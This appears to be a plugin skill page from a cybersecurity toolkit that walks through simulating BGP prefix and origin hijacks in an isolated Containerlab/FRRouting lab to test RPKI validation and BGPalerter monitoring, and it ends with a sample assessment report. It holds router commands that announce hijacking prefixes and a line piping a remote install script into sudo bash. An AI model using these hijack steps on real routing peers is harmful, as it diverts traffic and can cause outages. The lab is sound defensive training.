Stats
Actions
Tags
From cybersec-toolkit
Simulates BGP prefix hijacking and route leak attacks in isolated lab environments to test RPKI deployment, route origin validation, and BGP monitoring defenses.
How this skill is triggered — by the user, by Claude, or both
Slash command
/cybersec-toolkit:exploiting-bgp-hijacking-vulnerabilitiesThe summary Claude sees in its skill listing — used to decide when to auto-load this skill
- Assessing an organization's exposure to BGP prefix hijacking and route leak attacks
Do not use to perform actual BGP hijacking on the live internet, against BGP peers without authorization, or to disrupt real internet routing infrastructure. BGP attacks on production systems are illegal and can cause widespread internet outages.
# Install Containerlab for BGP simulation
sudo bash -c "$(curl -sL https://get.containerlab.dev)"
# Create a BGP lab topology file
cat > bgp-lab.clab.yml << 'EOF'
name: bgp-hijack-lab
topology:
nodes:
# Legitimate AS (AS65001) announcing 10.0.0.0/24
legitimate-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- legitimate-frr.conf:/etc/frr/frr.conf
# Attacker AS (AS65002) that will hijack the prefix
attacker-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- attacker-frr.conf:/etc/frr/frr.conf
# Transit provider (AS65000) connecting both
transit-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- transit-frr.conf:/etc/frr/frr.conf
# Victim network receiving routes
victim-router:
kind: linux
image: frrouting/frr:v8.5.0
binds:
- victim-frr.conf:/etc/frr/frr.conf
links:
- endpoints: ["legitimate-router:eth1", "transit-router:eth1"]
- endpoints: ["attacker-router:eth1", "transit-router:eth2"]
- endpoints: ["transit-router:eth3", "victim-router:eth1"]
EOF
# Configure legitimate router (AS65001)
cat > legitimate-frr.conf << 'EOF'
frr defaults traditional
hostname legitimate-router
router bgp 65001
bgp router-id 1.1.1.1
neighbor 10.0.1.2 remote-as 65000
address-family ipv4 unicast
network 10.0.0.0/24
neighbor 10.0.1.2 activate
exit-address-family
!
interface eth1
ip address 10.0.1.1/30
!
interface lo
ip address 10.0.0.1/24
EOF
# Configure attacker router (AS65002) -- initially not announcing the prefix
cat > attacker-frr.conf << 'EOF'
frr defaults traditional
hostname attacker-router
router bgp 65002
bgp router-id 2.2.2.2
neighbor 10.0.2.2 remote-as 65000
address-family ipv4 unicast
neighbor 10.0.2.2 activate
exit-address-family
!
interface eth1
ip address 10.0.2.1/30
EOF
# Deploy the lab
sudo containerlab deploy -t bgp-lab.clab.yml
# Connect to victim router and verify route to 10.0.0.0/24
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp"
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.0/24"
# Expected: Route via AS65000 AS65001 (legitimate path)
# Verify traceroute follows the legitimate path
docker exec -it clab-bgp-hijack-lab-victim-router traceroute 10.0.0.1
# Check BGP table on transit router
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# On the attacker router, announce more-specific prefixes
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
address-family ipv4 unicast
network 10.0.0.0/25
network 10.0.0.128/25
exit-address-family
!
interface lo
ip address 10.0.0.1/25
ip address 10.0.0.129/25
exit
end
write memory
VTYSH
# Verify the hijack on the victim router
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24 longer-prefixes"
# The victim should now prefer the /25 routes via the attacker
# because more-specific routes always win in IP routing
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip route 10.0.0.1"
# Expected: Route now via AS65000 AS65002 (attacker)
# Origin hijack: Attacker announces the exact /24 prefix
docker exec -it clab-bgp-hijack-lab-attacker-router vtysh << 'VTYSH'
configure terminal
router bgp 65002
address-family ipv4 unicast
network 10.0.0.0/24
no network 10.0.0.0/25
no network 10.0.0.128/25
exit-address-family
end
write memory
VTYSH
# Check which route the victim prefers
# With equal prefix length, shortest AS path wins
docker exec -it clab-bgp-hijack-lab-victim-router vtysh -c "show ip bgp 10.0.0.0/24"
# Both routes visible, attacker may win based on AS path length
# Analyze how BGP path selection determines the winner
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24 bestpath-compare"
# Set up RPKI validator (Routinator)
docker run -d --name routinator \
-p 3323:3323 -p 8323:8323 \
nlnetlabs/routinator:latest
# Configure transit router to use RPKI validation
docker exec -it clab-bgp-hijack-lab-transit-router vtysh << 'VTYSH'
configure terminal
rpki
rpki cache 172.17.0.1 3323 preference 1
exit
!
route-map RPKI-FILTER permit 10
match rpki valid
!
route-map RPKI-FILTER deny 20
match rpki invalid
!
route-map RPKI-FILTER permit 30
match rpki notfound
!
router bgp 65000
address-family ipv4 unicast
neighbor 10.0.2.1 route-map RPKI-FILTER in
exit-address-family
end
write memory
VTYSH
# Verify RPKI status
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show rpki prefix-table"
docker exec -it clab-bgp-hijack-lab-transit-router vtysh -c "show ip bgp 10.0.0.0/24"
# Attacker's announcement should be marked as RPKI Invalid if ROA exists
# Install BGPalerter for real-time monitoring
npm install -g bgpalerter
bgpalerter generate -o /etc/bgpalerter
# Configure BGPalerter to monitor your prefixes
cat > /etc/bgpalerter/prefixes.yml << 'EOF'
10.0.0.0/24:
description: Production Network
asn: 65001
ignoreMorespecifics: false
group: production
EOF
# Start monitoring
bgpalerter
# Use bgpstream to query historical routing data
pip3 install pybgpstream
python3 << 'PYEOF'
import pybgpstream
# Query for historical prefix announcements
stream = pybgpstream.BGPStream(
from_time="2024-03-14 00:00:00",
until_time="2024-03-15 00:00:00",
collectors=["route-views2", "rrc00"],
record_type="updates",
filter="prefix more 10.0.0.0/24"
)
for rec in stream.records():
for elem in rec:
if elem.type == "A": # Announcement
print(f"Time: {elem.time}")
print(f"Prefix: {elem.fields['prefix']}")
print(f"AS Path: {elem.fields['as-path']}")
print(f"Peer: {elem.peer_asn}")
print("---")
PYEOF
# Check RPKI status via RIPEstat
curl -s "https://stat.ripe.net/data/rpki-validation/data.json?resource=AS65001&prefix=10.0.0.0/24" | python3 -m json.tool
| Term | Definition |
|---|---|
| BGP Hijacking | Unauthorized announcement of IP prefixes by an AS that does not own them, diverting traffic through the attacker's network |
| More-Specific Hijack | Announcing longer (more-specific) prefixes than the victim's, which always win in IP routing due to longest-prefix-match rule |
| RPKI (Resource PKI) | Cryptographic framework that allows IP prefix holders to authorize specific ASNs to originate their routes via Route Origin Authorizations (ROAs) |
| Route Origin Authorization (ROA) | Digitally signed object that authorizes an AS to originate a specific IP prefix, enabling RPKI-based route validation |
| AS Path Prepending | BGP technique of adding duplicate AS numbers to the AS path to make a route less preferred, also used defensively against hijacking |
| Route Leak | Propagation of BGP routing announcements beyond their intended scope, such as a customer re-advertising transit provider routes to other providers |
Context: A cloud hosting company (AS12345) announces 203.0.113.0/24 for their customer-facing services. They need to assess their resilience to BGP hijacking attacks and verify their RPKI deployment is effective. The assessment includes lab simulation and real-world monitoring validation.
Approach:
Pitfalls:
## BGP Security Assessment Report
**Organization**: Cloud Hosting Co. (AS12345)
**Prefixes Assessed**: 203.0.113.0/24, 198.51.100.0/24
**Assessment Date**: 2024-03-15
### RPKI Status
| Prefix | ROA Exists | Max Length | Origin AS | Status |
|--------|-----------|------------|-----------|--------|
| 203.0.113.0/24 | Yes | /24 | AS12345 | Valid |
| 198.51.100.0/24 | No | N/A | AS12345 | Not Found |
### Lab Simulation Results
| Attack Type | RPKI Validation | Result |
|-------------|-----------------|--------|
| More-specific /25 hijack | Enabled | BLOCKED (Invalid origin) |
| More-specific /25 hijack | Disabled | SUCCESSFUL (traffic diverted) |
| Exact-match origin hijack | Enabled | BLOCKED (Invalid origin) |
| Route leak via customer | Enabled | NOT BLOCKED (valid origin, wrong path) |
### Recommendations
1. Create ROA for 198.51.100.0/24 (currently unprotected)
2. Set max-length to /24 in ROAs to prevent more-specific hijacks
3. Request upstream ISPs enable RPKI Route Origin Validation
4. Deploy BGPalerter for continuous prefix monitoring
5. Register with IRR databases and request prefix filtering from peers
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkitSimulates BGP prefix hijacking and route leak attacks in isolated lab environments to test RPKI deployment, route origin validation, and BGP monitoring defenses.
Simulates BGP hijacking scenarios in authorized lab environments to assess RPKI deployment, route origin validation, and BGP monitoring defenses against prefix hijacking and route leaks.
Simulates BGP prefix hijacking and route leak attacks in isolated Containerlab labs with FRRouting to evaluate RPKI, route origin validation, and BGP monitoring defenses.